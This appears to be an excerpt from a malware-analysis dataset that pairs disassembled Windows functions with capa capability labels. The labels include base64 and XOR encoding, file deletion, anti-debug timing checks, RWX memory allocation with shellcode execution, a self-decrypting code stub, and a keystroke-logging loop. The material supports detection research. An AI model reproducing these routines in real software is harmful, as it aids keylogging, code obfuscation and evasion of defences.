joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416a3a
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, eax
mov eax, ebx
cdq
push 3
pop ecx
idiv ecx
mov eax, ebx
xor esi, esi
sub eax, edx
lea eax, [eax*4 + 0xc]
cdq
idiv ecx
inc eax
push eax
call fcn.0042f3fb
cmp ebx, 2
pop ecx
mov ecx, eax
jle 0x416adc
lea eax, [ebx - 3]
xor edx, edx
push 3
pop ebx
div ebx
inc eax
mov dword [ebp - 4], eax
imul eax, eax, 0xfffffffd
add dword [ebp + 8], eax
movzx edx, byte [edi]
mov eax, edx
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
movzx eax, byte [edi + 1]
and edx, 3
shl edx, 4
mov ebx, eax
shr ebx, 4
mov dl, byte [ebx + edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc esi
mov byte [ecx + esi], dl
movzx edx, byte [edi + 2]
and eax, 0xf
mov ebx, edx
shr ebx, 6
mov al, byte [ebx + eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc esi
mov byte [ecx + esi], al
and edx, 0x3f
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc esi
mov byte [ecx + esi], al
inc esi
add edi, 3
dec dword [ebp - 4]
jne 0x416a81
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x416b34
movzx eax, byte [edi]
mov edx, eax
shr edx, 2
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and eax, 3
mov byte [ecx + esi], dl
inc esi
shl eax, 4
cmp ebx, 1
jle 0x416b20
movzx edx, byte [edi + 1]
mov edi, edx
shr edi, 4
mov al, byte [edi + eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
inc esi
and edx, 0xf
mov al, byte [edx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
jmp 0x416b2e
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
inc esi
mov byte [ecx + esi], 0x3d
inc esi
mov byte [ecx + esi], 0x3d
inc esi
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x416b3d
mov dword [eax], esi
pop edi
mov byte [ecx + esi], 0
pop esi
mov eax, ecx
pop ebx
leave
ret
Function at 0x41773c
Capabilities:
Delete file

Disassembly:
push 8
mov eax, 0x452b48
call fcn.00447235
mov eax, dword [esi + 0x54]
test eax, eax
je 0x41775a
push eax
call fcn.0044d580
and dword [esi + 0x54], 0
pop ecx
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x41776b
mov eax, dword [ecx]
push 1
call dword [eax]
and dword [esi + 0x14], 0
and dword [esi + 0x20], 0
lea ecx, [ebp - 0x14]
call fcn.00416609
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
push str.dlcore.dll
push ecx
mov ecx, eax
call fcn.00403acd
mov eax, dword [ebp - 0x14]
pop ecx
pop ecx
add eax, 0xfffffff0
call fcn.00401550
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401550
xor eax, eax
inc eax
call fcn.0044730d
ret
Function at 0x417ffc
Capabilities:
Check if file exists

Disassembly:
push 0x24
mov eax, 0x452a98
call fcn.00447235
lea ecx, [ebp - 0x14]
call fcn.00416609
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
push str.dr.dll
push ecx
mov ecx, eax
call fcn.00403acd
pop ecx
pop ecx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401550
mov ecx, dword [ebp - 0x10]
push 0x8c
call fcn.00416557
test eax, eax
pop ecx
jne 0x418063
push dword [ebp - 0x10]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x418063
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401550
xor al, al
jmp 0x4180a0
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.00409d4b
mov byte [ebp - 4], 3
call fcn.0044ca80
lea ecx, [ebp - 0x30]
mov ebx, eax
call fcn.0044cc90
push 0
push 1
lea esi, [ebp - 0x30]
mov edi, eax
call fcn.0040a106
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401550
cmp edi, 1
sete al
call fcn.0044730d
ret

Function at 0x4180a6
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x453b30
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x464074]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
lea ecx, [esp + 0x10]
call fcn.00416609
and dword [esp + 0x20], 0
lea ecx, [esp + 0xc]
push str.dr.dll
push ecx
mov ecx, eax
call fcn.00403acd
pop ecx
pop ecx
mov byte [esp + 0x20], 2
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.00401550
mov esi, dword [0x46747c]
call fcn.0044ca80
and dword [eax + 4], 0
push 0x467478
mov dword [eax], 0x3f6
mov dword [eax + 0x10], esi
call fcn.0044ca80
mov edi, eax
call fcn.0041a303
call fcn.0044ca80
mov edi, eax
call fcn.0044cc20
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
call fcn.00401550
xor eax, eax
inc eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41c85e
Capabilities:
Check for outputdebugstring error
Check for time delay via gettickcount
Get hostname
Print debug messages

Disassembly:
push ebp
sub esp, 0x210
lea ebp, [esp - 4]
mov eax, dword [0x464074]
xor eax, ebp
mov dword [ebp + 0x210], eax
push 0x38
mov eax, 0x451e80
call fcn.00447235
mov edi, ecx
push esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
and dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
mov dword [ebp - 0x10], eax
call ebx
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x2c]
imul eax, eax, 0xc
cmp ecx, dword [eax + 0x465644]
jae 0x41c8c3
mov ecx, dword [esi + 0x20]
cmp ecx, dword [eax + 0x465648]
jl 0x41c92a
mov ecx, dword [esi + 0x30]
mov edx, dword [esi + 0x1c]
imul ecx, ecx, 0xc
mov eax, dword [ebp - 0x10]
sub eax, edx
cmp eax, dword [ecx + 0x46564c]
jae 0x41c92a
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x41c92a
push 0x45b3f4
mov dword [esi + 0x30], 1
call ebx
push edi
call ebx
push 0x2afc
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x210]
xor ecx, ebp
call fcn.0042ba38
add ebp, 0x214
leave
ret
push str.query
call ebx
push edi
call ebx
push edi
call dword [0x4674c0]
test eax, eax
mov dword [ebp - 0x10], eax
jne 0x41c99e
push 0x2afc
call dword [sym.imp.KERNEL32.dll_SetLastError]
inc dword [esi + 0x20]
push str.QueryIP_Address_Failed
call ebx
push edi
lea ecx, [ebp - 0x38]
call fcn.004041bd
lea eax, [ebp - 0x38]
push eax
lea ebx, [esi + 0x24]
lea edi, [ebp - 0x44]
mov byte [ebp - 4], 1
call fcn.0041ca61
push 0
push 1
lea ecx, [ebp - 0x38]
call fcn.00404bb6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x2afc
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x41ca44
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x41ca44
mov edi, 0x104
push edi
lea eax, [ebp + 0x109]
push 0
push eax
mov byte [ebp + 0x108], 0
call fcn.0042b930
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp + 0x108]
push eax
mov dword [ebp - 0x18], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp + 0x108]
push edi
push eax
call fcn.00431b9b
push edi
lea eax, [ebp + 1]
push 0
push eax
mov byte [ebp], 0
call fcn.0042b930
push dword [ebp - 0x14]
lea eax, [ebp]
push eax
call fcn.00431bb0
lea eax, [ebp]
push edi
push eax
call fcn.00431b9b
lea eax, [ebp]
push eax
lea eax, [ebp + 0x108]
push eax
call fcn.0042b9b0
add esp, 0x2c
test eax, eax
je 0x41ca44
lea edi, [esi + 0x24]
call fcn.0041cb22
xor edi, edi
mov dword [esi + 0x1c], edi
push str.Clear_buffer_
mov dword [esi + 0x20], edi
call ebx
mov dword [esi + 0x30], edi
mov edi, dword [ebp - 0x10]
jmp 0x41c8fe
Function at 0x41ea00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x46745c], eax
je 0x41ea16
mov eax, 0x10dd
pop ecx
ret
mov eax, dword [0x467460]
test eax, eax
jne 0x41eb08
cmp dword [0x4674c0], eax
jne 0x41ea41
mov eax, 6
mov dword [0x467460], eax
mov dword [0x467464], 0x4674c0
pop ecx
ret
push ebx
push esi
push edi
push 0x18
call fcn.0042baf1
mov edi, eax
add esp, 4
test edi, edi
jne 0x41ea5c
lea esi, [eax + 8]
jmp 0x41eae6
mov ebx, dword [0x4674c0]
mov esi, 0x41ca4c
call fcn.0041e2e0
movzx ecx, byte [ebx + 0x17]
mov esi, dword [ebx + 0x18]
sub esi, ecx
test ecx, ecx
je 0x41ead8
cmp ecx, 0x17
ja 0x41ead8
cmp dword [ebx + 0x1c], eax
jne 0x41ead8
lea eax, [esp + 0xc]
push eax
push 0x40
push ecx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x41eaa8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x41eae6
mov edx, dword [0x46746c]
mov dword [edi + 0x10], ebx
mov dword [edi + 0xc], esi
mov dword [edi + 4], 1
mov dword [edi + 8], 0x4674c0
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x14], ecx
mov dword [edi], edx
mov dword [0x46746c], edi
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
cmp dword [0x467458], 0
mov esi, 9
jne 0x41eaec
mov dword [0x467460], esi
test edi, edi
je 0x41eaf9
push edi
call fcn.0042b927
add esp, 4
pop edi
mov eax, esi
pop esi
mov dword [0x467464], 0x4674c0
pop ebx
pop ecx
ret

Function at 0x4233a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
je 0x4233b4
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x4233b8
xor al, al
jmp 0x4233e1
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4233d1
xor al, al
jmp 0x4233e1
mov eax, dword [ebp - 4]
and eax, 0x10
je 0x4233df
xor al, al
jmp 0x4233e1
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x42b61b
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x464074]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0042b55a
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0042b930
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x42b66a
cmp dword [ebp - 0x1c], 5
jb 0x42b682
jmp 0x42b67e
cmp dword [ebp - 0x10], 1
jne 0x42b682
cmp dword [ebp - 0x1c], 4
ja 0x42b67e
jne 0x42b682
cmp dword [ebp - 0x18], 0
jbe 0x42b682
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4544a8
call fcn.0042b424
test eax, eax
jge 0x42b6a3
mov byte [0x4673e0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042ba38
add ebp, 0x78
leave
ret
Function at 0x42b922
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4665b0], 0
push esi
jne 0x42b895
call fcn.0042b7c0
test eax, eax
je 0x42b8d8
mov eax, dword [0x4665b0]
cmp eax, 1
jne 0x42b8b6
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x42b8d8
pop esi
ret
push eax
call dword [0x4665b8]
test eax, eax
jne 0x42b920
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x42b8dc
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4665b0]
call dword [0x4665b8]
mov edi, eax
test edi, edi
je 0x42b903
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x42b91f
lea edi, [esi + 0xff0]
push esi
push dword [0x4665b0]
call dword [0x4665b4]
add esi, 0x10
cmp esi, edi
jb 0x42b909
mov eax, esi
pop edi
pop esi
ret
jmp 0x42b882

Function at 0x42ba38
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x464074]
jne 0x42ba42
repz ret
jmp fcn.0043260d
Function at 0x4398af
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x464ac0]
je 0x4398ca
inc edi
cmp edi, 0x17
jb 0x4398bb
cmp edi, 0x17
jae 0x439a4a
push ebp
push 3
call fcn.00441913
cmp eax, 1
pop ecx
je 0x439a16
push 3
call fcn.00441913
test eax, eax
pop ecx
jne 0x4398fe
cmp dword [0x464070], 1
je 0x439a16
cmp ebx, 0xfc
je 0x439a49
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x466bc8
push ebp
call fcn.00430ec2
add esp, 0xc
test eax, eax
je 0x439934
push esi
push esi
push esi
push esi
push esi
call fcn.0042e3ac
add esp, 0x14
push 0x104
mov esi, 0x466be1
push esi
push 0
mov byte [0x466ce5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x439978
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00430ec2
add esp, 0xc
test eax, eax
je 0x439978
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0042e3ac
add esp, 0x14
push esi
call fcn.0042e0a0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4399bd
push esi
call fcn.0042e0a0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x466edc
push 0x454ec4
sub ecx, eax
push ecx
push eax
call fcn.004322be
add esp, 0x14
test eax, eax
je 0x4399bd
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0042e3ac
add esp, 0x14
jmp 0x4399bf
xor esi, esi
push 0x454ec0
push ebx
push ebp
call fcn.00440306
add esp, 0xc
test eax, eax
je 0x4399df
push esi
push esi
push esi
push esi
push esi
call fcn.0042e3ac
add esp, 0x14
push dword [edi*8 + 0x464ac4]
push ebx
push ebp
call fcn.00440306
add esp, 0xc
test eax, eax
je 0x439a01
push esi
push esi
push esi
push esi
push esi
call fcn.0042e3ac
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00441756
add esp, 0xc
jmp 0x439a49
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x439a49
cmp ebp, 0xffffffff
je 0x439a49
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x464ac4]
push dword [esi]
call fcn.0042e0a0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x441756
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0043349b
xor ebx, ebx
cmp dword [0x467180], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x44182c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x44190c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x44190c
push eax
call fcn.0043342d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x467180], eax
call esi
push eax
call fcn.0043342d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x467184], eax
call esi
push eax
call fcn.0043342d
mov dword [0x467188], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00433c89
test eax, eax
pop ecx
pop ecx
je 0x4417fa
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042e3ac
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x44182c
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0043342d
cmp eax, ebx
pop ecx
mov dword [0x467190], eax
je 0x44182c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043342d
pop ecx
mov dword [0x46718c], eax
mov eax, dword [0x46718c]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4418b1
cmp dword [0x467190], ecx
je 0x4418b1
push eax
call fcn.004334a4
push dword [0x467190]
mov esi, eax
call fcn.004334a4
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4418b1
cmp edi, ebx
je 0x4418b1
call esi
cmp eax, ebx
je 0x44187e
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44187e
test byte [ebp - 0x18], 1
jne 0x4418b1
lea eax, [ebp - 0x10]
push eax
call fcn.00433cc0
test eax, eax
pop ecx
je 0x441899
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042e3ac
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4418a8
or dword [ebp + 0x10], 0x200000
jmp 0x4418ec
or dword [ebp + 0x10], 0x40000
jmp 0x4418ec
mov eax, dword [0x467184]
cmp eax, dword [ebp - 8]
je 0x4418ec
push eax
call fcn.004334a4
cmp eax, ebx
pop ecx
je 0x4418ec
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4418ec
mov eax, dword [0x467188]
cmp eax, dword [ebp - 8]
je 0x4418ec
push eax
call fcn.004334a4
cmp eax, ebx
pop ecx
je 0x4418ec
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x467180]
call fcn.004334a4
cmp eax, ebx
pop ecx
je 0x44190c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44190e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x44f7f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450e2d
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x464074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
call fcn.0041f220
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax], vtable.CDownload.0
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp + 8]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0xc], 0
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp + 0xc]
mov dword [edx + 0x10], eax
mov esi, dword [ebp - 0x2c]
add esi, 0x14
mov eax, dword [ebp + 0x10]
call fcn.00409d67
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x2c]
add ecx, 0x30
call fcn.0041f860
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x2c]
add ecx, 0x40
call fcn.0041f040
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x5c], 0
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x60], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x64], 0
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x74], 0
mov ecx, dword [ebp - 0x2c]
add ecx, 0x78
call fcn.0041f9d0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x2c]
add ecx, 0x8c
call fcn.0041f040
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2c]
add ecx, 0xa8
call fcn.0041fc20
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0xb4], 0
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xbc], 0
mov eax, dword [ebp + 0x10]
call fcn.00409ec0
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push str.CDownload::CDownload__._nuiCustomID___d_nstrFilePath___s
push 3
call fcn.0044c770
add esp, 0x10
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 8], 0
jne 0x44f933
mov dword [ebp - 0x10], str.CDownload:_DownloadNotify_invalid_pointer_
push 0x45dd94
lea eax, [ebp - 0x10]
push eax
call fcn.00433307
mov ecx, dword [ebp - 0x2c]
call fcn.0044f6c0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x406b50
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov al, byte [0xb0fa08]
mov dword [esp + 0x14], ecx
push ebx
push ebp
push esi
push edi
test al, al
jne 0x406b93
mov eax, dword [ecx]
push ecx
mov ecx, dword [eax*4 + 0x471918]
call fcn.00454dd0
add esp, 4
test al, al
je 0x406cdf
mov byte [0xb0fa08], 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
cmp al, 1
jne 0x406cdf
push ecx
mov ecx, 0x4708d0
call fcn.00454dd0
add esp, 4
lea ecx, [esp + 0x18]
call fcn.00402530
mov ebp, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
cmp ebp, 0xfbd3e27f
jne 0x406bca
cmp ebx, 0x7fffffff
je 0x406be7
cmp ebx, 0x7fffffff
jg 0x406be7
jl 0x406bdc
cmp ebp, 0xfbd3e27f
jae 0x406be7
add ebp, 0x42c1d80
adc ebx, 0
jmp 0x406bef
or ebp, 0xffffffff
mov ebx, Ordinal_2
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebp
lea ecx, [esp + 0x28]
call fcn.00402530
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
cmp ebp, ecx
jne 0x406c14
cmp ebx, eax
je 0x406caa
cmp ebx, eax
jl 0x406caa
jg 0x406c26
cmp ebp, ecx
jb 0x406caa
mov edi, ebp
mov esi, ebx
sub edi, ecx
sbb esi, eax
cmp edi, 0x914f0000
jne 0x406c3e
cmp esi, 0x4e94
je 0x406c9b
cmp esi, 0x4e94
jg 0x406c9b
jl 0x406c50
cmp edi, 0x914f0000
jae 0x406c9b
push 0
push 0xf4240
push esi
push edi
call fcn.0046d180
push 0
push 0xf4240
mov ebp, edx
mov ebx, eax
push ebp
push ebx
call fcn.0046d310
cmp eax, edi
jne 0x406c78
cmp edx, esi
je 0x406c88
cmp edx, esi
jg 0x406c88
jl 0x406c82
cmp eax, edi
jae 0x406c88
add ebx, 1
adc ebp, 0
push ebx
call sub.KERNEL32.dll_Sleep
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
jmp 0x406bf7
push 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x406bf7
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov esi, 0x471678
mov ebx, dword [esp + 0x24]
nop dword [eax]
push dword [esi]
call edi
test ax, ax
je 0x406cd4
mov eax, dword [esi]
mov dword [ebx], eax
mov byte [0xb0fa08], 0
add esi, 4
cmp esi, 0x471910
jne 0x406cc0
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret